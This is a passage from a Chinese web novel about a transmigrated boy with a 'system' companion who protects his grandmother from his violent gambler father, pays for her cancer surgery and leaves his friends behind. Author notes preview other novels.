“你居然还带他们见陌儿了?”老太太真动肝火了,她沉着脸,声音颤的不行,“你个狼心狗肺的,陌儿从小没了妈,你这个父亲又形同虚设,三年前是你说要与他培养感情,我们才同意你带他南下的,你居然你居然” 老太太说到激动处,气急攻心,直接呼吸不过来。 “妈” “诶哟,老婆子” “快,速效救心丸” * 翌日,纪辰新去了学校,并未见到苏陌,结果过了一日,他又去找,还是没见到。 【系统,你说他不会不告而别了吧?】 纪辰新莫名有些惆怅,【好歹我们也是朋友,他总不能一声招呼都不打就离开吧。】 系统:【我也不清楚,书里只模糊记录了这段,反正是在他渣爹婚礼的前夕,具体哪一天就不知道了。】 【你要是不放心,就去问问老师呗,他请假总有缘由吧。】 是噢,这确实是个法子。 就这样,纪辰新踏入了办公室,特意找了一班的班主任打听。 老师对这个新晋年级第一还是很有耐心的,提到苏陌,他如实道,“说是奶奶心脏病发作,在家陪着呢。” “那他有没有说什么时候回学校?”纪辰新追问道。 老师回忆了下,“他请了两天假,应该是明天回。” “怎么了?你要与他讨论学习?还是说讨论围棋?”这老师对纪辰新夺了省围棋赛冠军的事也有所耳闻。 学校一下子又多出个有能耐的人,大家明里暗里都投了不少关注。 纪辰新随意点了下头,“是啊。” 出了办公室后,他这心总算是放下来了,等苏陌明天回来,他想,他们起码还能好好告个别吧! 傍晚,纪辰新像往常放学一样回到了家楼下的巷子。 远远地,他似乎看见自己家这层楼有打砸的动静。 隐隐约约间,还伴随着咒骂声,哭喊声此起彼伏。 有人眼尖,瞅到了纪辰新,立即通风报信,“小新啊,你怎么还在这站着,你那赌鬼爹回来了,正在家里翻箱倒柜呢,你奶奶都被推倒在地上了。” 纪辰新心里“咯噔”了一声,赌鬼爹? 来不及思考,他听到奶奶被推倒在地,已然没了理智,横冲直撞便上了楼。 当他在家门口停下,视线里,屋子哪还有半分像样的模样? 两扇门被拽的歪歪斜斜,衣裳满地都是,就连棉被的棉絮都被扯了出来,满屋飞扬。 所有的抽屉都被拉了出来,东西全部倒地上,什么针线盒、本子、笔、钥匙零碎的东西混合着木屑,散的乱七八糟。 就连墙角的纸箱也被刨了,而老太太就这样坐在地上哭喊,额头还冒着血,“你个杀千刀的,家里没钱了,不要再翻了,不要再翻了!” “不可能,别以为我不知道,我儿子拿了省围棋赛的冠军,有人可是告诉我,冠军的奖金有几千上万呢。” “你问问大家,这巷子里的人谁不知道,你还想瞒着我?” “快说,钱在哪,你到底藏哪了?”凶神恶煞的男人冲她怒吼着,他丝毫没有对亲情的眷待,眼中只剩贪婪与疯狂。 纪辰新快气炸了,眼睛红了半圈,他连忙跑过去,将奶奶护在了身后,“滚开!” 纪知远看到纪辰新,瞳孔乍然亮起,就像看一个待宰的羔羊,急着吃拆入腹,“儿子你回来了!快告诉爸爸,钱放哪了?” “没钱,家里没钱。”纪辰新死死盯着他,“那人骗了你。” 纪知远瞬间暴怒,直接伸手抓住了他的衣领,“小崽子,你看是你骗我吧,快说你把钱藏哪了?” 李春兰见孙儿被抓住,她忍着痛,用力将手边报废的凳子腿狠狠锤到纪知远身上,“你放下小新,听到没,他一个小孩子哪来的钱!” 纪知远挨了疼,一巴掌甩在了纪辰新脸上,“别敬酒不吃吃罚酒,快说!” 见状,老太太陡然松了手,根本不敢再动手,就怕纪知远全报复在孙儿身上。 纪辰新被这一巴掌甩懵了,他想逃脱纪知远的掌控,却发现他手劲大到根本不是他现在这个年纪可以撼动的。 纪知远就这么拎着他进了房间翻箱倒柜,“看看,是不是藏这了?” “还是这?” 纪辰新被他拖行着,连连被磕了几下脑袋,吃痛地闷哼了几声。 纪知远翻了几个柜子后,又去看了床底,“是不是藏这了?” 系统:【不好,宿主,你那一千多块钱的存款就在床底那盒子里放着呢,钱都是小事,你那证书可不能被他毁了。】 纪辰新倒是想挣扎,但他根本就不是纪知远的对手,眼见这人摸到了床底,他张嘴就咬住了纪知远的手腕,下了死口。 “艹,你个小畜生”纪知远唾沫星子随着吼声溅在了纪辰新脸上,他瞪着脸,一脚就将纪辰新踹了开。 “哐当”一声,纪辰新痛苦地倒在了地上,脸色煞白。 纪知远显然没有打算放过他,抽起一张椅子,就冲他走了过去,“居然敢咬你老子!” 纪辰新尝到了血腥味,是纪知远的,他将他咬出了血,眼见椅子就要从脑门上下来。 刹那间,响起了老太太凄厉的声音,“你不是要钱吗,你放过小新,我拿给你就是了!” 李春兰自己受伤都不觉得有什么,现在看到孙儿受罪,眼泪瞬间决堤,家里确实存了了些钱,但那都是她存着给纪辰新上学用的。 现在到了这地步,守着也没用了,总不能陪上孙儿的性命吧。 听到李春兰开口,纪知远也不管纪辰新了,直接放下了椅子,冲出去找李春兰了。 “老不死的,快说,钱在哪!” 五分钟后,纪知远捧着手里的八千块钱,骂骂咧咧,“就这些?老不死的,你是不是还藏了?” 老太太心如死灰,“没了,所有的都在这了。” 看她神态不似作假,纪知远又在家里来回翻找,若是值钱的,他就揣进兜里,准备卖掉,不值钱的,直接被丢垃圾一样丢在了一边。 终于,在十分钟后,他满意的离去了。 整个屋子一片狼藉,李春兰默默抽泣了起来,纪辰新从地上爬起来时,“嘶”地倒抽了口凉气,就连呼吸都带着闷疼。 “奶奶,你还好吗?”他主动蹲到了老太太身前,抬手轻抚了下她额头的血,“我带你去医院。” 李春兰的抽泣声,越来越大,“小新,是奶奶对不起你,是奶奶对不起你啊,让你摊上这么个爹。” “他都已经五年没回来,我以为他不会再回来的,奶奶不该有侥幸心理,现在害得你承受这些” 倏然间,老太太做了决定,“咱们搬走吧,不能再住在这里了,不能让他再回来祸害你。” 纪辰新蹙着眉,“我们能搬去哪,再说了,您在这住了那么多年,街坊邻居都熟悉,现在背井离乡” 老太太猛地打断他,灵光一闪,正色道,“小新,你省围棋赛夺冠的消息虽然登报上电视了,但你父亲是个赌鬼,整日泡在赌场,他怎么会知道?” “还有奖金这事到底是谁跟他说的?” “跟他说的这人一定认识他,也知道你。” 老太太越说越觉得细思极恐,“他这么多年没回来,消息突然这么灵通,能跟他有联系的,除了巷子里的人还能有谁。” “人的嫉妒心藏在暗处,我们不知道是谁,他们见不得你好,却想毁了你。” “这里不能再住了。” 老太太此刻的头脑无比清醒,“人心隔肚皮,人心隔肚皮啊。” “改明儿我就将房子退了,咱们早点搬走,省的夜长梦多。” 是的,这个房子不属于他们,他们家的房子早就被赌鬼爹抵押输掉了。 纪辰新不在乎这些,他只在乎她额头上的伤,“好,我听你的,咱们搬,但你的伤总得去看看吧?” 老太太摇头,脸皱成了一团,“不去了,去医院要花钱的,咱们没多少钱了。” 说着,她从鞋底掏出了几张纸币,这是纪知远没搜到的。 纪辰新看着她手里的这五百块钱,随即就跑去了房间,然后在床底摸啊摸,将那个盒子拿了出来,“我这还有一点,我之前存的,还记得你之前怎么都不肯要呢。” 不过也幸亏当初老太太没要,不然他们真的连这点钱都没了。 纪辰新执意要带老太太去医院检查一番,就怕有个内伤什么的。 老太太为了让孙子放心,最后不得已只能跟着去了。 祖孙俩出门后,肖椿悄悄从家里探出头来,刚刚那场闹剧,周围几乎所有邻居都躲在了家里,不敢怵纪知远的霉头,毕竟这赌鬼是什么都做得出来的,早年间就差点打死了纪辰新的母亲,最后被判了两年,就又出来赌了。 他母亲改嫁后,这赌鬼还到处打听来着,好在没打听到,渐渐也就不了了之了。 肖椿默默走到纪辰新家里,一声不吭地帮忙打扫卫生,修理门窗,尽力将所有一切都恢复到原来的模样。 他的动手能力很强,坏掉的椅子他都能重新拼接,期间不知流了多少汗,不知疲倦,就像要修补纪辰新千疮百孔的心一样。 * 医院里,纪辰新按着李春兰做了一个全面的检查。 但由于已经是下班时间,结果要明天才能出来,医生只能给她做个初步判断。 “脑震荡,外加肋骨骨裂,建议住院观察。” “额头是皮外伤,包扎一下就好了。” 听着医生的诊断,纪辰新的心放下了一半。 老太太也惦念着孙儿,“医生,帮我孙儿看看吧,他也受了伤。” 纪辰新最显眼的伤在脸上,被甩的那巴掌,脸都肿了。 但老太太记得他被踹了一脚,“他的肋骨也看看吧,是不是也骨裂了?” 纪辰新摸了摸肚子,疼痛感比之前已经消散了不少,“奶奶,我没事。” 医生还是敬业的,仔细对纪辰新做了番检查,“小伤,软组织挫伤,擦点跌打损伤的药就好了。” 老太太终于露出了今天的第一个笑容,无比庆幸孙儿没事。 纪辰新遵循了医生的建议带着老太太在医院住了一晚。 一直到第二天中午,所有检查结果出来。 医诊室里,医生捏着报告单,一脸郑重地问道,“小朋友,你家大人呢?” 没来由的,纪辰新额角的神经跳了跳,他带着不好的预感回复,“没有大人,就我和奶奶,她怎么了?” 医生注视了纪辰新好一会儿,才不忍心道,“你奶奶疑似患有乳腺癌。” “轰隆”一声,纪辰新只感觉天都塌了,仿佛被人抽走了所有力气,全身气血倒涌,顿时喘不过气来。 他不可置信地盯着医生,难道他又要再承受一次失去奶奶的痛苦了吗? 系统:【宿主宿主,别急!你还记得前世,你奶奶是什么时候去世的吗?】 纪辰新被系统稳住了心神,努力回想,【是在我15岁的时候。】 系统:【对,15岁,你现在才10岁,她就算是乳腺癌,也是早期,能治,可以手术的!】 医生也不敢断定,提醒道:“只是疑似,我们这里的设备没有大医院先进,建议转院去做个深度检查。” 纪辰新听了系统说的能治,简直就像是坐了个过山车一样,脸上慢慢恢复了血色,同时理智也回归了,【系统,你是不是有事瞒着我?】 【我奶奶怎么回事,她怎么跟我前世奶奶患的病一样?】 系统:【你看你说的什么话,什么叫她跟你前世奶奶,她不就是你奶奶吗,从始至终都是你奶奶。】 【她要不是你奶奶,你为什么会对她这么亲切,我将你奶奶复刻过来,也是为了你能更好的完成任务。】 【现在有机会弥补前世的遗憾,你就说治不治吧。】 “治,当然要治!”纪辰新激动的脱口而出,吓的面前的医生一颤。 医生安抚他,“小朋友,我理解你的心情,但还是转去大医院吧,没确诊最好,若是确诊了,大医院的医生也比我们更有经验。” 纪辰新听了系统的话,已经知道绝对是乳腺癌无疑了,毕竟前世奶奶就是死于这个病。 他踌躇了片刻,问道,“医生,这个病,做手术的话大概需要多少钱?” 医生给了他一个估算,“不少于五万,最好准备七万,检查,手术,疗养都是一笔费用。” 在现在这个时代,尤其是对纪辰新家里的情况来说,这无疑是个天文数字,更何况他们刚遭遇了洗劫,现在全身上下加起来的存款不足两千。 纪辰新认真记下了,又问,“哪里的医院治疗这个病最权威?” 医生给了指示,望着墙上的地图道,“最东边,墨城,那里专家云集。” “好,谢谢医生。” 出了诊室,纪辰新心里已经有了谋划,奶奶的病多拖一天就会多面临一分的危险,必须尽快手术。 系统:【宿主,手术费你打算怎么办?】 纪辰新摸着兜里的证书,嘴角勉强扯了扯,“这东西不是很多人想要吗,应该能卖不少钱吧,反正我还没填名字,没入数据库。” 他说这话时,语气平淡,情绪都藏在了云淡风轻里。 在救奶奶还是卖证书这个选择面前,系统根本不敢多说什么,奶奶是宿主的精神支柱,若是没了支柱,别说证书了,任务怕是也无法完成了。 而且宿主年纪这么小,举目无亲的,估计也没人会愿意借钱给他,退一万步讲,即便借到了,这沉重的债务,宿主以后要怎么活? 光是想想,系统也郁闷了。 但它得宽慰起来,【没事,证书卖了就卖了,大不了咱们以后重新打一次省赛。】 【宿主,你说呢?】系统小心翼翼地,生怕纪辰新放弃完成任务,现在奶奶出了这档子事,他是真有可能做出来。 纪辰新的心思根本没在这上面,他只想快点将证书卖了,然后带着奶奶去墨城,刻不容缓。 系统吓的都快哭了:【宿主,你有没有听到我说话啊?】 纪辰新步履匆匆,绷着脸,眼尾是压不住的沉,他想到要如何劝说奶奶去墨城了。 既然她想搬家,那他们便搬去墨城,从此在那定居,再也不回来! 对,再也不回来! 不能告诉任何人,不能再被人背刺,不能再让那赌鬼爹找到!—— 作者有话说:呜呜呜,今天写了好多,有没有营养液~球球 第39章 翌日清晨, 纪辰新便给奶奶办理了出院手续。 回家路上,李春兰并未察觉到自己已身患重病,相比于纪辰新的满腹心事, 她对孙儿提到的那个城市充满了好奇。 “小新,你提到的那个墨城,真的有你说的那么好吗?” “火车票贵不贵啊,咱们坐多久能到?” 纪辰新挽着她的手,弯了眉眼,“听说那边风和日丽, 四季如春, 很舒服。” “不贵, 我们负担的起,火车上睡一觉就到了。” “那就好,咱们马上回去收拾东西, 一刻也不要待了。”老太太对前天发生的事仍旧心有余悸, 只想立即离开。 说是回去收拾东西, 但是那个房子被翻成那样, 哪里还有什么东西, 估计小偷进去了,都得摸着眼泪丢下两硬币。 然而, 祖孙俩回到家后, 却发现本被拆的破烂的门, 此刻已经修好了。 今天是周六,肖椿独自坐在自家的门槛前,一直在等着他们回来。 见到人的那一瞬间,他“蹭”地一下起身,“小新, 纪奶奶你们回来了!” 看到他,纪辰新哪还有什么不明白的,他伸手推开门,“吱呀”一声,门虽有声响,却完好无损。 往里一看,屋子不再凌乱不堪,而那些已经被摔碎的,无法再修复的东西也都已被清理掉了。 多年来的心血被毁于一旦,李春兰看着空荡荡却又干干净净的屋子,不禁鼻子一酸,“椿小子,辛苦你啦。” 肖椿挠了挠头,神色自然,“不辛苦,不辛苦的纪奶奶,这些都是力所能及的事情。” 也不知道他整理了多久,纪辰新心里沉甸甸的,“谢了,兄弟。” “小新。”在纪辰新踏进屋的前一秒,肖椿突然叫住了他。 他欲言又止,似乎有话要说。 纪辰新静静注视着他,“怎么了?” “昨天,苏陌的管家来学校给他办了转学。”肖椿犹豫着开口,观察他的神色,“他现在已经回帝都了。” 纪辰新淡漠的神色里,先是出现了一丝波动,下一秒却又转瞬即逝,“哦。” “不过,他让管家给你带了句话。” “他说形势所逼,不得不回去,等找到机会,以后定会回来看你。”肖椿复述着。 系统:【他应该是被爷爷奶奶强制带回去的,有了后妈就会有后爹,他们绝不可能再让苏陌继续待在苏枕山眼皮子底下了。】 纪辰新淡淡点头,“好,我知道了。” 肖椿盯着他的脸庞,却看不到反应,“小新,我本来还怕你听到这个消息会不开心呢,现在看来是我想多了。” 纪辰新摇头,“肖椿,我有点累,想休息会儿。” 肖椿顿时往后退了一步,“好,你去休息,我就不打扰你了。” 待人走后,纪辰新的确感受到了深深的疲倦,他闭了闭眼睛,独自站了好会儿. 等再次睁开眼时,他跟奶奶报备了一声便出了门。 一个小时后,纪辰新站在了市少年宫的门口,他按着记忆来到了手谈坊围棋班前。 最后敲响了赵信办公室的门,他在里面待了半个多小时,没人知道他们谈论了什么,只是当他再出来时,手里多了个包,里面装了八万块钱。 赵信捏着证书,目送他出了门,“若有困难,再来寻我。” * 接下来三天的时间,纪辰新先是买好了通往墨城的票,然后将房子退了,最后才和奶奶去学校办理转学。 然而,转学的前提是,必须要有学校接收才能转。 无奈之下,纪辰新选择了退学。 奶奶对此深感愧疚,“小新,这会不会有影响?要不咱们先去墨城安家,等确定了学校,再来这里办理转学?” “反正你爸一时半会儿应该也不会回来,你上学的事情可不能耽误” 纪辰新拒绝了,毕竟他此次过去,是安排奶奶做手术的,家里又没别人,只能他来陪护,他若上学去了,谁来照顾奶奶? 可问题是奶奶并不知道,她执意不让退。 最后还是纪辰新费了九牛二虎之力才说服了她,着实让他捏了一把汗。 祖孙俩离开的那天,瞒着所有人,夜晚出发的。 初冬的风裹着一身寒意,让人的鼻尖微微发僵,家家户户暖黄的光透过薄雾,在地上形成一个模糊的圈。 纪辰新穿着件薄棉外套,脚步声“嗒嗒”敲着碎石路。 老太太将围巾绕在了头上,遮住大半张脸,月亮的清辉洒下来,她回望了一眼这住了多年的巷子,心中思绪繁杂,最后头也不回,消失在了路的尽头。 一整晚的火车,纪辰新睡的并不好,在睡了又醒 ,醒了又睡的反复折磨中,李春兰一直守在他身旁。 家里仅有的一张完好的棉被,此刻正盖在纪辰新身上。 “乖孙,这样就不冷了,变天了,你可不能踢被子。” 纪辰新裹着棉被,果真睡的更踏实了,他小脸红扑扑的,呼吸清浅,进入了深度睡眠。 不声不响间,李春兰摸出了那张带有诊断报告的纸,她看了半晌儿,又跟没事人一样放了回去。 目睹一切的系统,差点吓死了,也不知道奶奶到底看懂了上面写的东西没有。 它不断安慰自己,老太太识字不多,乳腺癌这几个字又不常见,应该是没看懂吧,要是看懂了,不该这么淡定的。 是的,李春兰很淡定,她完全是一副什么都不知道的表情。 就像是暴雨来临前的宁静,她安静平和的诡异。 纪辰新醒来时,已经是第二天早上,火车“哐当哐当”还在行使,广播里正在播报,“各位旅客朋友们,早上好,前方即将到达的车站是—墨城。” “请您提前整理好随身携带的行李物品,手机,证件等贵重物品,避免遗漏。” “墨城到站后,下车的旅客请从列车前进方向的左侧有序下车,注意脚下安全” 见纪辰新醒来,系统忙不迭将昨晚发生的事告诉了他,纪辰新顿时蹙了眉,下意识朝奶奶望去,老太太正在有条不紊的收拾东西。 瞧见他看自己,还拍了拍他的头,“快起来,马上到站了。” 他愣愣起身,看着奶奶将棉被收进了编织袋里,他也纳了闷,奶奶到底是看懂了没有? * 祖孙俩来到墨城一个礼拜的时间里,看了不少房子,最后选了个并不显眼的独栋小屋租下了。 租金比原来的房子贵了一半,要三千块钱。 但纪辰新觉得这钱花的值,因为这附近治安良好,离警察局仅仅三百米,无形中就增加了安全性。 老太太见他眼都不眨的付了全款,关键纪辰新根本不避她,在送走房东后,他更是将那个一直紧紧护着的包当着她的面整个打开了。 里面一摞摞的现金就这么光明正大,堂而皇之的暴露在空气中。 老太太神色震惊,她难以置信地看着眼前的这一切。 “奶奶,这些钱是给你治病的。”纪辰新目光直视她,不放过她脸上一丝一毫的表情,“医生说,你的病,只要动个手术就能好。” “所以,你不用背着我到处去打听活计,不用省吃俭用,为我存钱,为我的以后做打算!” “这钱的来路光明,是我用证书换来的,你不用担心。” “明天我们就去医院吧!” “你不舍得留我一个人在这世上孤零零的活下去,我也不舍得你丢下我离去,我们还要相互陪伴,过好多好多年!” 纪辰新一字一句,听的李春兰眼角逐渐漫上了一层湿意,没等抬手去擦,泪珠便顺着布满皱纹的脸滑了下来,她声音带着哽咽,“你怎么知道我” “我是你的孙子,我怎么会不知道,你这几天时不时看向我的眼神与以前根本不一样,只是你自己没发现而已。” “免得你胡思乱想,独自神伤,我索性摊开了讲。” “那个报告我确实是刻意瞒着你的,但怎么也没想到你会自己发现,结果你的反应与我最开始决定瞒着你时料想的居然如出一辙,你竟不声不响地开始为自己准备后事,还企图利用最后的时日为我攒钱。” “你个小老太太啊,从知道起,便日渐消瘦,短短一个礼拜精气神都没了,你就说吧,我该不该瞒着你?” “真怕你自己把自己给霍霍没了。” “反正你现在也知道了,那一切听我安排,咱们好好的把这个手术做了,不要想些有的没的!” “以后,你一定会长命百岁的,相信我!” 李春兰静静听着,浑浊的双眼,像是蒙了层薄雾,她别过脸,吸了吸鼻子,“好,都听你的,你主意大,奶奶愿意信你!” * 年关将至,南川小学已经放了寒假。 肖椿依旧喜欢坐在家门口的门槛处,时不时眺望远方,他似乎已经习惯了这一切,然而每当响起孩童的嬉闹声时,他又像是受到某种感召似的探头望去。 他永远也忘不了那天,自己兴冲冲去找纪辰新一起上学,结果等到的却是人去楼空。 纪辰新走了,他无情到连一个字都没留下,消失的无影无踪。 信息的传播速度是惊人的,巷子里很快就传的沸沸扬扬,谣言四起。 有人说他们是躲债去了,还有人说他们被赌鬼爹带走了,有传言更甚,说他们是被寻仇了。 碰到乱说的,肖椿甚至会上去跟人打一架。 只不过打到最后,他都有些怀疑了,因为他也不知道哪个是真的,哪个是假的了。 后来的某一天,他遇到了房东,房东信誓旦旦地说他们搬家了,却不知道搬去了哪。 原来是搬家了啊? 搬家了好,搬家了好,没事就好! 但为什么不告诉他呢? 纪辰新,你究竟有没有把我当朋友? 哪有你这么对朋友的? 不跟你玩了 我要跟你绝交! 算了等明年 明年你若回来了,我便原谅你—— 作者有话说:卑微肖椿~在线求营养液~ 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第40章 除夕夜, 纪辰新是在医院度过的,他弄了个折叠小床就睡在奶奶病床的旁边。 手术很成功,祖孙俩脸上的笑容比平日多了不少。 这些天他基本就是医院与家两点一线的跑, 医院的医生和护士姐姐都对他的印象很深,经常会私下讨论他。 内容不外如下: “那个小孩,可孝顺啦,家里没旁人,他每天一个人照顾奶奶的一日三餐呢。” “啊,我知道, 小纪是吧?我经常看见他又是端水伺候, 又是提醒奶奶吃药的, 点滴若是没了,他准第一个过来找。” “一个十岁的孩子像个小大人似的,挺能干的, 还很有责任感, 好几次我们护士站, 忙起来了, 连水都喝不上, 都是小纪帮忙打的。” “这小孩蛮招人喜欢的,就是命不太好, 他这个年纪本应该无忧无虑的, 听说为了奶奶的病, 连学都退了。” “唉” 夜晚,护士查房,小姐姐笑容满面进来,“小纪,今天又给你奶奶做什么好吃的了?” “蒸鸡蛋羹还有小米粥, 放心吧,姐姐,我都记着呢,清淡饮食,易吸收。”纪辰新弯着眉眼道。 护士姐姐一边换药水,一边提醒:“嗯,下个月就是恢复期了,到时候可以弄点鱼和肉类,还有蔬菜水果之类的补充营养。” “知道啦。”纪辰新乖乖坐在折叠小床上,扑朔着双眸盯着换药。 李春兰躺在病床上,心疼孙儿,却又无可奈何。 纪辰新看了眼时间,打开了墙上的小电视,“春节联欢晚会要开始了,奶奶,我们一起看吧。” * 正月初三,一架从帝都飞往江洲的飞机,悄然降落。 苏陌身着黑色羽绒服,快步而下,旁边跟着孟管家,“小少爷,时间不多,咱们偷偷出来,得趁老爷发现之前赶回去。” “嗯,我知道。”苏陌语气带了点雀跃,“这不是还有时间吗,他那个研讨会初五才结束。” “那我们是直接去找你朋友还是?”孟管家早就安排了人在外面接机,司机也早已抵达就等着他们了。 “直接去,给他一个惊喜!”风吹起他的头发丝,苏陌每一步都比平时快了半拍。 机场到纪辰新家的路,差不多四十五公里,全程苏陌都满怀期待,他的指尖无意识地摩梭着口袋里准备好的礼物,心在胸腔里擂鼓。 春节期间,车流量比平时翻了一倍,路人的脸上都洋溢着喜悦的笑容。 终于,在半个多小时后,车成功抵达目的地。 苏陌一个箭步,下了车,穿进了巷子,孟管家在后面跟着,“小少爷慢点,等等我!” 巷子里的烟火气息很足,但也有门窗紧闭的,大差不差是串亲戚去了。 苏陌远远就看到了纪辰新家的房子,他牢牢琐着那个方向,冬日里的风刺骨,他却没觉得冷,只觉得这条路怎么这么长。 一步、两步九十九步 当他踏上楼梯,站在纪辰新家门前时,胆怯的踌躇了。 想起当初离开都没好好当面道个别,也不知道纪辰新会不会生气 思索了几秒,他终究还是鼓起勇气敲了门,一下两下,没有人应。 没在家? 他又敲了几下,还是没人应。 这时候,孟管家也跟上来了,见小少爷蹙着眉头面对紧闭的门,宽慰了一句,“或许是走亲戚去了。” “你们找谁?”一个路过的邻居,好心道,“找这户人家啊?他们一早就去舅舅家了,估计晚上才能回。” 居然一来就吃了个闭门羹,苏陌有些失落,一时愣住。 孟管家见小少爷站在门前不挪步,寒风呼呼往脖子里钻,便提议道,“小少爷,要不我们先回别墅?在这等着也不是个事!” 苏陌倏然想起什么,就往前走去,他来到了肖椿家门口,却发现门也关闭着。 孟管家跟着他,“小少爷若执意要等,我们就去车上等吧,现在才下午两点,总不能在这干站几个小时吧,会冻感冒的。” 若是有电话就好了,但也只能想想,在帝都时,小少爷就曾为这事懊恼过,懊恼自己当初没给纪辰新买个手机,导致这么久没联系上。 事已至此,苏陌听从了管家的安排,回到了车里。 结果这一等,就从天光大盛等到了日落西山,冬天的夜晚黑的早,家家户户逐渐亮起了灯。 那灯光不似白日亮堂,就像被雾柔化过,巷子里人影绰绰,都在忙着张罗晚饭,锅碗瓢盆轻响,香气从窗子飘出。 孟管家早就等睡着了,苏陌中间醒了好次,一看时间还早就又眯了过去。 直到晚上八点,那户人家亮起了灯。 苏陌“蹭”地一下动身,“他们回来了!” 他理了理衣领,推开了车门,寒风呼啸,天空是浓到化不开的墨,星星稀稀拉拉亮着,就连月亮也怕冷,身上裹了层淡晕。 苏陌一路小跑,脚步声踏在了结了霜的路面,“咯吱咯吱”,仿若要被夜色吃掉。 他三步五除二上了台阶,然后敲响了那扇门。 门“吱呀”一声,从里面拉开。 刹那间,两个陌生人四目相对,讶异之外全是警惕。 “请问你找谁?” “你是谁?” 苏陌不由后退一步,环顾着四周,确定自己没走错。 他迟疑道,“这里不是纪辰新家吗?” 屋里的人闻言,知道他找错人了,“之前的租客早搬走了,我们是半个月前搬来的。” “?!”苏陌一颗心沉到了谷底,这是他完全没想到的。 “他们搬哪去了?”他听到自己问。 “不知道。”话落,门便关上了。 眼前顿时陷入了一片漆黑,苏陌不知道自己该何去何从。 他犹疑了片刻,又去了隔壁肖椿家。 犬吠声时不时响起,小黑依旧欺软怕硬,春节期间走门串巷的多,王婶怕它咬到人,便将它拴了起来。 肖椿刚洗完澡出来,见到来人,骤然沉默了一瞬,他知道苏陌是为何而来。 不等苏陌问,肖椿便开门见山,面无表情道,“他搬走了,我也不知道他搬去了哪。” “怎么会?”苏陌猛地上前一步,手从口袋抽出来,垂在了身侧,指尖微微蜷着,他的呼吸不稳,“什么时候的事?” “你走后的第四天吧。”肖椿记得清清楚楚,却不愿多去回想。 苏陌喉结滚动,心像是被什么轻轻撞了一下,空落落的,原本憋着的一股劲,瞬间都散了,他声音发沉,“为什么?” “不知道,或许他就没把我当朋友吧。”肖椿去给他倒了杯水,转而又笑了声,改口道,“应该是我们,毕竟你也不知道。” 笑声带着嘲意,戏谑又讽刺。 苏陌的眸色暗了暗,没了往日的光彩,他脸色有些僵,呼吸更是涩,他好不容易才从帝都偷跑回来,结果 就好像攒了好久力气吹起来的一个泡泡,眼看着就要飘起来了,膨胀,发亮,却“啪”地一声破了,手心里只剩下湿冷的痕迹,连着心里的那点盼头也破碎了。 我都遵守了承诺,回来看你,而你却一声不响地走了? 他水都没喝,便出了门,离开了巷子,走到车前时,已经用尽了全身的力气,只感觉周围的风都变冷了,心里头闷闷的不是疼,只有空。 孟管家一直跟在他后边,他也听到了那些话,却不知如何安慰。 这个年代,世事无常,没有联系方式,可能真就从此没了音讯。 而且小少爷的兜里还装着想要送给朋友的手机呢,花了一个星期的时间精心挑选的最新款。 电光火石间,孟管家想到什么,“小少爷,当初我给你办转学,是填了接收学校的,你那个朋友即便搬家了,书还是得读吧。” “学校绝对有记录,我们去学校问问,不就知道他转去哪了吗?” 他这话不异于一针强心剂,苏陌眼睛陡然亮了起来,“打电话给校长。” 孟管家本来还想着直接去学校的,但转念一想,现在是寒假期间,学校根本没人,还是小少爷反应快啊! 苏陌说打就打,一个电话过去,语气变了变,“徐伯伯,是我,苏陌!” 一分钟后,苏陌挂掉了电话。 孟管家询问:“小少爷,校长怎么说?” “资料都进了电脑,得找相应的负责人登录学校的内部网查看,徐伯伯安排人去查了,说半个小时后给我结果。”苏陌的食指轻敲着车窗,心情难以平复。 “小少爷,你饿不饿,我们要不先去吃点东西?”孟管家担心他的身体,提议着。 这个节骨眼,苏陌哪吃的下,他摇头,“你饿了就去吃吧,不用管我。” “这哪行,我还是陪你等着吧。”孟管家没了办法,微微叹息了一声。 寒风贴着地面游,掠过光秃秃的树枝时,会带出“沙沙”地细响,不远处的那些灯光挨挨挤挤,在楼道里连成一片,给冷硬的冬夜都烘地暖了些。 苏陌垂着眸,因那通电话,好似有了寒夜里的最后一丝慰藉。 距离半个小时还差五分钟时,校长的电话拨了回来。 苏陌接起电话的瞬间,呼吸都放轻了。 电话里,校长说,“纪辰新是退学,不是转学,他没有对应的接收学校。” “嗡”地声音覆盖了过来,苏陌只感觉周围的一切都变的模糊,明明想开口说点什么,喉咙却堵的发紧。 心里更像是被石头压住了,再也没了翻身的可能。 他反复咀嚼着退学两个字,最后竟是怒极反笑。 你可真是好样的! 纪辰新,你可真是好样的!—— 作者有话说:马上就要时间大法了,应该就是下一章,哈哈哈嘿嘿嘿 预收《不小心救错反派后,我跑路了》求收藏! 文案如下: 桑容穿书了,虽然穿成了小豆丁,但不影响他做梦都是找到男主,跟着男主混,抱着男主大腿走上人生巅峰。 很快,桑容就遇到了那个被人堵在巷子里,打架最狠,眼神最凶的男孩,他自信点头,这应该就是男主了吧,果然不同凡响! 后来桑容:家人们谁懂啊,救错了人,此时不跑更待何时!!! 原书大反派萧卓,从小寄人篱下,性格乖张狠厉,是个养不熟的白眼狼。 大年三十,雪地里,浑身都是伤痕的萧卓,黑眸暗淡,奄奄一息,他本以为自己会死在那个寒冷的雪夜里。可那晚,有双温暖的小手握住了他,从此让他感受到了从出生以来从未有过的温情。 萧卓曾不止一次痴笑着问过桑容,会不会一直陪在他身边。 直到那年桑容的不告而别,他的心中的狠厉暴虐再也压抑不住。 再次相遇的那个夜晚。 “我的容容,是你说要永远陪在我身边的,你怎么能言而无信呢。” 萧卓语调轻盈,声音温柔地像是裹了蜜,然而眼底却是藏不住的疯狂:“这次你再也跑不掉了。” 四肢都被绑在床上的桑容,一脸惊悚,这是什么发展,谁能给我解释一下? 